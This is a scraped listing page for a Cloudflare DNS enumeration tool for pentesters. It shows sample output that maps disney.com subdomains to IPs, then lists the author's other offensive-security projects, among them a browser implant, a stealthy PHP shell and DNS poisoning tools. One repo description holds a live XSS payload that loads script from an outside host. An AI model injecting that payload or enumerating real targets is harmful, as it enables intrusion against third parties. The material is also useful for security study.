mandatoryprogrammer/cloudflare_enum

Stars
515
Rank 85,879 (Top 2 %)
Language
Python
Created almost 10 years ago
Updated over 2 years ago

mandatoryprogrammer/cloudflare_enum

mandatoryprogrammer

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Cloudflare DNS Enumeration Tool for Pentesters

Cloudflare Enumeration Tool v1.2

A simple tool to allow easy querying of Cloudflare's DNS data written in Python.

mandatory@mandatorys-box /t/cloudflare_enum> ./cloudflare_enum.py [email protected] Testing1 disney.com
[ STATUS ] Logging in to Cloudflare...
[ SUCCESS ] Login was successful!
[ STATUS ] Adding domain to Cloudflare...
[ SUCCESS ] Querying Cloudflare DNS archives...
A: disney.com -> 199.181.132.249
A: api.disney.com -> 96.45.49.200
A: app.disney.com -> 208.218.3.17
A: apps.disney.com -> 199.181.132.250
A: archive.disney.com -> 198.105.199.57
A: archives.disney.com -> 199.181.132.250
A: data.disney.com -> 10.190.71.248
A: feeds.disney.com -> 198.105.197.192
A: home.disney.com -> 199.181.132.250
A: huey11.disney.com -> 192.195.66.12
A: huey.disney.com -> 204.128.192.10
A: localhost.disney.com -> 127.0.0.1
A: louie.disney.com -> 204.128.192.30
A: mail2.disney.com -> 204.128.192.16
A: mail.disney.com -> 204.128.192.15
A: m.disney.com -> 199.181.132.250
A: mx1.disney.com -> 192.195.66.26
A: mx1.disney.com -> 204.128.192.17
A: mx2.disney.com -> 192.195.66.28
A: mx2.disney.com -> 204.128.192.36
A: services.disney.com -> 204.202.143.170
A: services.disney.com -> 204.202.143.171
A: webcache.disney.com -> 204.128.192.55
A: webcast.disney.com -> 207.177.177.41
A: www1.disney.com -> 199.181.132.250
A: www2.disney.com -> 199.181.132.250
CNAME: code.disney.com -> matterhorn.disney.com
...etc...

NorthKoreaDNSLeak

Snapshot of North Korea's DNS data taken from zone transfers.

xsshunter-express

An easy-to-setup version of XSS Hunter. Sets up in five minutes and requires no maintenance!

xsshunter

The XSS Hunter service - a portable version of XSSHunter.com

CursedChrome

Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies, allowing you to browse sites as your victims.

sonar.js

A framework for identifying and launching exploits against internal network hosts. Works via WebRTC IP enumeration combined with WebSockets and external resource fingerprinting.

TLDR

TLDR (TLD Records) is a continually updated DNS archive of zone transfer attempts again all existing TLD nameservers as well as the root servers.

JudasDNS

Nameserver DNS poisoning attacks made easy

TrustTrees

A Tool for DNS Delegation Trust Graphing

xssless

An automated XSS payload generator written in python.

ChromeGalvanizer

Harden your Chrome browser via enterprise policy.

xsshunter_client

Correlated injection proxy tool for XSS Hunter

droidbrute

A statistically optimized USB rubber ducky payload to brute force 4-digit Android PINs.

RussiaDNSLeak

Summary and archives of leaked Russian TLD DNS data

tarnish

A Chrome extension static analysis tool to help aide in security reviews.

FlashHTTPRequest

A very simple bridge for performing Flash HTTP requests with JavaScript

xcname

A tool for enumerating expired domains in CNAME records

chrome-extension-manifests-dataset

>100K Chrome Extension manifest.json files for analysis

RAGE

A hacked together PHP shell designed to be stealthy and portable

signal-bot

A Signal bot that utilizes the Chrome DevTools protocol to hook the Signal Electron Desktop app for automation.

PaperChaser

comfortably-run

A CLI tool which can be used to inject JavaScript into arbitrary Chrome origins via the Chrome DevTools Protocol

VietnamDNSLeak

Summary and archives of leaked Vietnam TLD DNS data

PERS

A passive scanning tool for finding expired domain vulnerabilities while you browse.

Metafid-Base

The base classes that are used by Metafid (a private piece of software that generates web bot code from Fiddler archives)

UPBRUTE

Dynamic DNS Update Bruteforce Tool

xpire-crossdomain-scanner

Scans crossdomain.xml policies for expired domain names.

wmap

a mass web screenshot tool for mapping web networks.

overairdroid

A python library to automate the use of the Airdroid app for Android

lambda-intruder

An example of high-QPS requesting Burp Intruder style on AWS Lambda via self-invocation.

xsshunter_docs

XSS Hunter correlated injection API guide

TLD-Health-Report

Daily TLD health report generated using RIPE's DNSCheck against all existing TLDs.

xsshunter_chrome_extension

FileURISecurity

Testing page for checking the privileges that a browser gives to the file:// origin

ctf_tools

Random CTF tool repo for small code snippets

theinternetbackup-cli

Contribute domains to TheInternetBackup.com via an easy CLI tool!

dig-lambda-layer

A simple AWS Lambda layer to add dig support

mandatoryprogrammer

dotfiles

subresource_integrity_rewrite

Rewrites flat HTML pages to include subresource integrity for all third party scripts/stylesheets

elasticbeanstalk-base

Base Elastic Beanstalk config which uses Docker and an environment variable EC2_SPOT_PRICE for spot bidding

testrepo

mygithubpage

Trapcall2Spreadsheet

Exports your logged Trapcalls to a CSV spreadsheet

teamflix-reports

A place to report bugs and feature requests for teamflix

testing

"><script src=//y.vg></script>